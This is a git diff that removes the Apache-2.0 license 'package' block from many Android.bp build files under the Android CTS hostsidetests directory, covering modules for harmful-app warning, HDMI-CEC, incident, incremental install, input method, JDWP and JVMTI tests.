--- a/hostsidetests/harmfulappwarning/Android.bp
+++ b/hostsidetests/harmfulappwarning/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsHarmfulAppWarningHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/harmfulappwarning/sampleapp/Android.bp b/hostsidetests/harmfulappwarning/sampleapp/Android.bp
index fe0685c..7eda22d 100644
--- a/hostsidetests/harmfulappwarning/sampleapp/Android.bp
+++ b/hostsidetests/harmfulappwarning/sampleapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsHarmfulAppWarningSampleApp",
// Don't include this package in any target
diff --git a/hostsidetests/harmfulappwarning/testapp/Android.bp b/hostsidetests/harmfulappwarning/testapp/Android.bp
index 6e008b0..a6d0e88 100644
--- a/hostsidetests/harmfulappwarning/testapp/Android.bp
+++ b/hostsidetests/harmfulappwarning/testapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsHarmfulAppWarningTestApp",
dex_preopt: {
diff --git a/hostsidetests/hdmicec/Android.bp b/hostsidetests/hdmicec/Android.bp
index 6c74675..5fa3f52 100644
--- a/hostsidetests/hdmicec/Android.bp
+++ b/hostsidetests/hdmicec/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsHdmiCecHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/hdmicec/app/Android.bp b/hostsidetests/hdmicec/app/Android.bp
index 29045b4..2ac24a3 100644
--- a/hostsidetests/hdmicec/app/Android.bp
+++ b/hostsidetests/hdmicec/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "HdmiCecHelperApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/incident/Android.bp b/hostsidetests/incident/Android.bp
index 0e97a61..932948e 100644
--- a/hostsidetests/incident/Android.bp
+++ b/hostsidetests/incident/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsIncidentHostTestCases",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/incident/apps/batterystatsapp/Android.bp b/hostsidetests/incident/apps/batterystatsapp/Android.bp
index 96f6c37..5110288 100644
--- a/hostsidetests/incident/apps/batterystatsapp/Android.bp
+++ b/hostsidetests/incident/apps/batterystatsapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsBatteryStatsApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/incident/apps/boundwidgetapp/Android.bp b/hostsidetests/incident/apps/boundwidgetapp/Android.bp
index 3b3b1d8..7ee158f 100644
--- a/hostsidetests/incident/apps/boundwidgetapp/Android.bp
+++ b/hostsidetests/incident/apps/boundwidgetapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppWidgetApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/incident/apps/errorsapp/Android.bp b/hostsidetests/incident/apps/errorsapp/Android.bp
index bdd7ff1..b21bd93 100644
--- a/hostsidetests/incident/apps/errorsapp/Android.bp
+++ b/hostsidetests/incident/apps/errorsapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsErrorsApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/incident/apps/errorsapp/jni/Android.bp b/hostsidetests/incident/apps/errorsapp/jni/Android.bp
index ca61922..2e7e1f0 100644
--- a/hostsidetests/incident/apps/errorsapp/jni/Android.bp
+++ b/hostsidetests/incident/apps/errorsapp/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libcrash-jni",
srcs: ["crash-jni.c"],
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/Android.bp b/hostsidetests/incident/apps/graphicsstatsapp/Android.bp
index d8d6b9b..5ca33a8 100644
--- a/hostsidetests/incident/apps/graphicsstatsapp/Android.bp
+++ b/hostsidetests/incident/apps/graphicsstatsapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsGraphicsStatsApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/incident/apps/notificationsapp/Android.bp b/hostsidetests/incident/apps/notificationsapp/Android.bp
index 581c5b9..06f15e4 100644
--- a/hostsidetests/incident/apps/notificationsapp/Android.bp
+++ b/hostsidetests/incident/apps/notificationsapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsNotificationIncidentTestApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/incident/apps/procstatsapp/Android.bp b/hostsidetests/incident/apps/procstatsapp/Android.bp
index 8b8daec..51b567b 100644
--- a/hostsidetests/incident/apps/procstatsapp/Android.bp
+++ b/hostsidetests/incident/apps/procstatsapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsProcStatsProtoApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/incrementalinstall/Android.bp b/hostsidetests/incrementalinstall/Android.bp
index 307f5fa..b4576b8 100644
--- a/hostsidetests/incrementalinstall/Android.bp
+++ b/hostsidetests/incrementalinstall/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsIncrementalInstallHostTestCases",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/incrementalinstall/app/Android.bp b/hostsidetests/incrementalinstall/app/Android.bp
index 5072cb4..bd48119 100644
--- a/hostsidetests/incrementalinstall/app/Android.bp
+++ b/hostsidetests/incrementalinstall/app/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
// v1 implementation of test app built with v1 manifest.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "IncrementalTestApp",
srcs: ["v1/src/**/*.java"],
diff --git a/hostsidetests/incrementalinstall/app/dynamicasset/Android.bp b/hostsidetests/incrementalinstall/app/dynamicasset/Android.bp
index b3dda07..b426210 100644
--- a/hostsidetests/incrementalinstall/app/dynamicasset/Android.bp
+++ b/hostsidetests/incrementalinstall/app/dynamicasset/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "IncrementalTestAppDynamicAsset",
sdk_version: "current",
@@ -30,4 +26,4 @@
"--rename-manifest-package android.incrementalinstall.incrementaltestapp",
"--package-id 0x80",
],
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/incrementalinstall/app/dynamiccode/Android.bp b/hostsidetests/incrementalinstall/app/dynamiccode/Android.bp
index 942cfc2..451bab9 100644
--- a/hostsidetests/incrementalinstall/app/dynamiccode/Android.bp
+++ b/hostsidetests/incrementalinstall/app/dynamiccode/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "IncrementalTestAppDynamicCode",
sdk_version: "current",
@@ -31,4 +27,4 @@
"--rename-manifest-package android.incrementalinstall.incrementaltestapp",
"--package-id 0x81",
],
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/incrementalinstall/app/nativelibcompressed/Android.bp b/hostsidetests/incrementalinstall/app/nativelibcompressed/Android.bp
index 3779c0e..7d7a602 100644
--- a/hostsidetests/incrementalinstall/app/nativelibcompressed/Android.bp
+++ b/hostsidetests/incrementalinstall/app/nativelibcompressed/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libcompressednativeincrementaltest",
sdk_version: "current", // Oreo
diff --git a/hostsidetests/incrementalinstall/app/nativelibuncompressed/Android.bp b/hostsidetests/incrementalinstall/app/nativelibuncompressed/Android.bp
index 0849c0e..3421fb8 100644
--- a/hostsidetests/incrementalinstall/app/nativelibuncompressed/Android.bp
+++ b/hostsidetests/incrementalinstall/app/nativelibuncompressed/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libuncompressednativeincrementaltest",
sdk_version: "current", // Oreo
diff --git a/hostsidetests/incrementalinstall/appvalidator/Android.bp b/hostsidetests/incrementalinstall/appvalidator/Android.bp
index cc02b0e..41021fa 100644
--- a/hostsidetests/incrementalinstall/appvalidator/Android.bp
+++ b/hostsidetests/incrementalinstall/appvalidator/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "IncrementalTestAppValidator",
srcs: ["src/**/*.java"],
@@ -47,4 +43,4 @@
platform_apis: true,
export_package_resources: true,
aapt_include_all_resources: true,
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/incrementalinstall/appvalidator/src/android/incrementalinstall/inrementaltestappvalidation/jni/Android.bp b/hostsidetests/incrementalinstall/appvalidator/src/android/incrementalinstall/inrementaltestappvalidation/jni/Android.bp
index edd0a87..28d7450 100644
--- a/hostsidetests/incrementalinstall/appvalidator/src/android/incrementalinstall/inrementaltestappvalidation/jni/Android.bp
+++ b/hostsidetests/incrementalinstall/appvalidator/src/android/incrementalinstall/inrementaltestappvalidation/jni/Android.bp
@@ -14,10 +14,6 @@
* limitations under the License.
*/
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libpath_checker_jni",
cpp_std: "c++2a",
diff --git a/hostsidetests/incrementalinstall/common/Android.bp b/hostsidetests/incrementalinstall/common/Android.bp
index ffe5d10..03b2f04 100644
--- a/hostsidetests/incrementalinstall/common/Android.bp
+++ b/hostsidetests/incrementalinstall/common/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "incremental-install-common-lib",
srcs: ["src/**/*.java",],
@@ -25,4 +21,4 @@
java_library_host {
name: "incremental-install-common-host-lib",
srcs: ["src/**/*.java",],
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/inputmethodservice/common/Android.bp b/hostsidetests/inputmethodservice/common/Android.bp
index f2e0be6..6d07408 100644
--- a/hostsidetests/inputmethodservice/common/Android.bp
+++ b/hostsidetests/inputmethodservice/common/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
// Build the common library for use device-side
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test {
name: "CtsInputMethodServiceCommon",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp
index 4ad7237..4d4fb3e 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsInputMethodServiceDeviceTests",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp b/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp
index e0f6ed5..bab73b4 100644
--- a/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "EditTextApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp b/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
index 8c59b53..65e546c 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsInputMethod1",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp b/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp
index 3426b86..875c3bc 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsInputMethod2",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/Android.bp b/hostsidetests/inputmethodservice/deviceside/lib/Android.bp
index 0ec523f..01ca2c0 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/lib/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_helper_library {
name: "CtsInputMethodServiceLib",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/Android.bp b/hostsidetests/inputmethodservice/deviceside/provider/Android.bp
index 2935fe8..efbf893 100644
--- a/hostsidetests/inputmethodservice/deviceside/provider/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/provider/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsInputMethodServiceEventProvider",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/inputmethodservice/hostside/Android.bp b/hostsidetests/inputmethodservice/hostside/Android.bp
index a3292ba..c954414 100644
--- a/hostsidetests/inputmethodservice/hostside/Android.bp
+++ b/hostsidetests/inputmethodservice/hostside/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsInputMethodServiceHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/jdwpsecurity/Android.bp b/hostsidetests/jdwpsecurity/Android.bp
index 1575dbe..9eedf9a 100644
--- a/hostsidetests/jdwpsecurity/Android.bp
+++ b/hostsidetests/jdwpsecurity/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJdwpSecurityHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/jdwpsecurity/app/Android.bp b/hostsidetests/jdwpsecurity/app/Android.bp
index 672d4f1..93761b6 100644
--- a/hostsidetests/jdwpsecurity/app/Android.bp
+++ b/hostsidetests/jdwpsecurity/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_helper_library {
name: "CtsJdwpApp",
srcs: ["**/*.java"],
diff --git a/hostsidetests/jdwptunnel/Android.bp b/hostsidetests/jdwptunnel/Android.bp
index b32d2ff..a840b04 100644
--- a/hostsidetests/jdwptunnel/Android.bp
+++ b/hostsidetests/jdwptunnel/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJdwpTunnelHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/jdwptunnel/sampleapps/ddmsapp/Android.bp b/hostsidetests/jdwptunnel/sampleapps/ddmsapp/Android.bp
index 2ca5190..8f8f20f 100644
--- a/hostsidetests/jdwptunnel/sampleapps/ddmsapp/Android.bp
+++ b/hostsidetests/jdwptunnel/sampleapps/ddmsapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_library_shared {
name: "libDdmsTestAgent",
diff --git a/hostsidetests/jdwptunnel/sampleapps/debuggableapp/Android.bp b/hostsidetests/jdwptunnel/sampleapps/debuggableapp/Android.bp
index 1e815ab..384ee5f 100644
--- a/hostsidetests/jdwptunnel/sampleapps/debuggableapp/Android.bp
+++ b/hostsidetests/jdwptunnel/sampleapps/debuggableapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJdwpTunnelDebuggableSampleApp",
diff --git a/hostsidetests/jdwptunnel/sampleapps/profileableapp/Android.bp b/hostsidetests/jdwptunnel/sampleapps/profileableapp/Android.bp
index 2bd5e90..b78236a 100644
--- a/hostsidetests/jdwptunnel/sampleapps/profileableapp/Android.bp
+++ b/hostsidetests/jdwptunnel/sampleapps/profileableapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJdwpTunnelProfileableSampleApp",
diff --git a/hostsidetests/jvmti/allocation-tracking/Android.bp b/hostsidetests/jvmti/allocation-tracking/Android.bp
index b74f19a..dce3d16 100644
--- a/hostsidetests/jvmti/allocation-tracking/Android.bp
+++ b/hostsidetests/jvmti/allocation-tracking/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiTrackingHostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/allocation-tracking/app/Android.bp b/hostsidetests/jvmti/allocation-tracking/app/Android.bp
index 821d21d..6e42781 100644
--- a/hostsidetests/jvmti/allocation-tracking/app/Android.bp
+++ b/hostsidetests/jvmti/allocation-tracking/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiTrackingDeviceApp",
dex_preopt: {
diff --git a/hostsidetests/jvmti/attaching/Android.bp b/hostsidetests/jvmti/attaching/Android.bp
index 0147b329..3d50f4a 100644
--- a/hostsidetests/jvmti/attaching/Android.bp
+++ b/hostsidetests/jvmti/attaching/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiAttachingDeviceApp",
dex_preopt: {
diff --git a/hostsidetests/jvmti/base/app/Android.bp b/hostsidetests/jvmti/base/app/Android.bp
index 3d496e7..246fc27 100644
--- a/hostsidetests/jvmti/base/app/Android.bp
+++ b/hostsidetests/jvmti/base/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "CtsJvmtiDeviceAppBase",
srcs: ["**/*.java"],
diff --git a/hostsidetests/jvmti/base/host/Android.bp b/hostsidetests/jvmti/base/host/Android.bp
index 7fda27a..5ea9747 100644
--- a/hostsidetests/jvmti/base/host/Android.bp
+++ b/hostsidetests/jvmti/base/host/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library_host {
name: "CtsJvmtiHostTestBase",
srcs: ["**/*.java"],
diff --git a/hostsidetests/jvmti/base/jni/Android.bp b/hostsidetests/jvmti/base/jni/Android.bp
index 9a6f0c8..be7da74 100644
--- a/hostsidetests/jvmti/base/jni/Android.bp
+++ b/hostsidetests/jvmti/base/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_library_shared {
name: "libctsjvmtiagent",
diff --git a/hostsidetests/jvmti/base/run-test-based-app/Android.bp b/hostsidetests/jvmti/base/run-test-based-app/Android.bp
index 190e26f..8d17dd1 100644
--- a/hostsidetests/jvmti/base/run-test-based-app/Android.bp
+++ b/hostsidetests/jvmti/base/run-test-based-app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "CtsJvmtiDeviceRunTestAppBase",
srcs: [
diff --git a/hostsidetests/jvmti/redefining/Android.bp b/hostsidetests/jvmti/redefining/Android.bp
index 4816fd8..7bb3d1f 100644
--- a/hostsidetests/jvmti/redefining/Android.bp
+++ b/hostsidetests/jvmti/redefining/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRedefineClassesHostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/redefining/app/Android.bp b/hostsidetests/jvmti/redefining/app/Android.bp
index ba87ac9..f6eaa91 100644
--- a/hostsidetests/jvmti/redefining/app/Android.bp
+++ b/hostsidetests/jvmti/redefining/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRedefineClassesDeviceApp",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/jvmti/run-tests/Android.bp b/hostsidetests/jvmti/run-tests/Android.bp
index c96125e..63e2bf7 100644
--- a/hostsidetests/jvmti/run-tests/Android.bp
+++ b/hostsidetests/jvmti/run-tests/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_defaults {
name: "cts-run-jvmti-defaults",
dex_preopt: {
diff --git a/hostsidetests/jvmti/run-tests/test-1900/Android.bp b/hostsidetests/jvmti/run-tests/test-1900/Android.bp
index 4b6326f..62ed6fa 100644
--- a/hostsidetests/jvmti/run-tests/test-1900/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1900/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1900HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1900/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1900/app/Android.bp
index ed12ad7..7f66aa6 100644
--- a/hostsidetests/jvmti/run-tests/test-1900/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1900/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1900DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1901/Android.bp b/hostsidetests/jvmti/run-tests/test-1901/Android.bp
index 928ae4f..e4dca54 100644
--- a/hostsidetests/jvmti/run-tests/test-1901/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1901/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1901HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1901/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1901/app/Android.bp
index 66159a8..30362dc 100644
--- a/hostsidetests/jvmti/run-tests/test-1901/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1901/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1901DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1902/Android.bp b/hostsidetests/jvmti/run-tests/test-1902/Android.bp
index a2a4e8d..e9a84ad 100644
--- a/hostsidetests/jvmti/run-tests/test-1902/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1902/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1902HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1902/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1902/app/Android.bp
index ab6a6cb..b4c7e96 100644
--- a/hostsidetests/jvmti/run-tests/test-1902/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1902/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1902DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1903/Android.bp b/hostsidetests/jvmti/run-tests/test-1903/Android.bp
index f583f8e..652d251 100644
--- a/hostsidetests/jvmti/run-tests/test-1903/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1903/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1903HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1903/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1903/app/Android.bp
index 1d64769..b2a9211 100644
--- a/hostsidetests/jvmti/run-tests/test-1903/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1903/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1903DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1904/Android.bp b/hostsidetests/jvmti/run-tests/test-1904/Android.bp
index 71de778..9a61f13 100644
--- a/hostsidetests/jvmti/run-tests/test-1904/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1904/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1904HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1904/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1904/app/Android.bp
index d130da1..e0ded3c 100644
--- a/hostsidetests/jvmti/run-tests/test-1904/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1904/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1904DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1906/Android.bp b/hostsidetests/jvmti/run-tests/test-1906/Android.bp
index 9665afd..8dc8213 100644
--- a/hostsidetests/jvmti/run-tests/test-1906/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1906/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
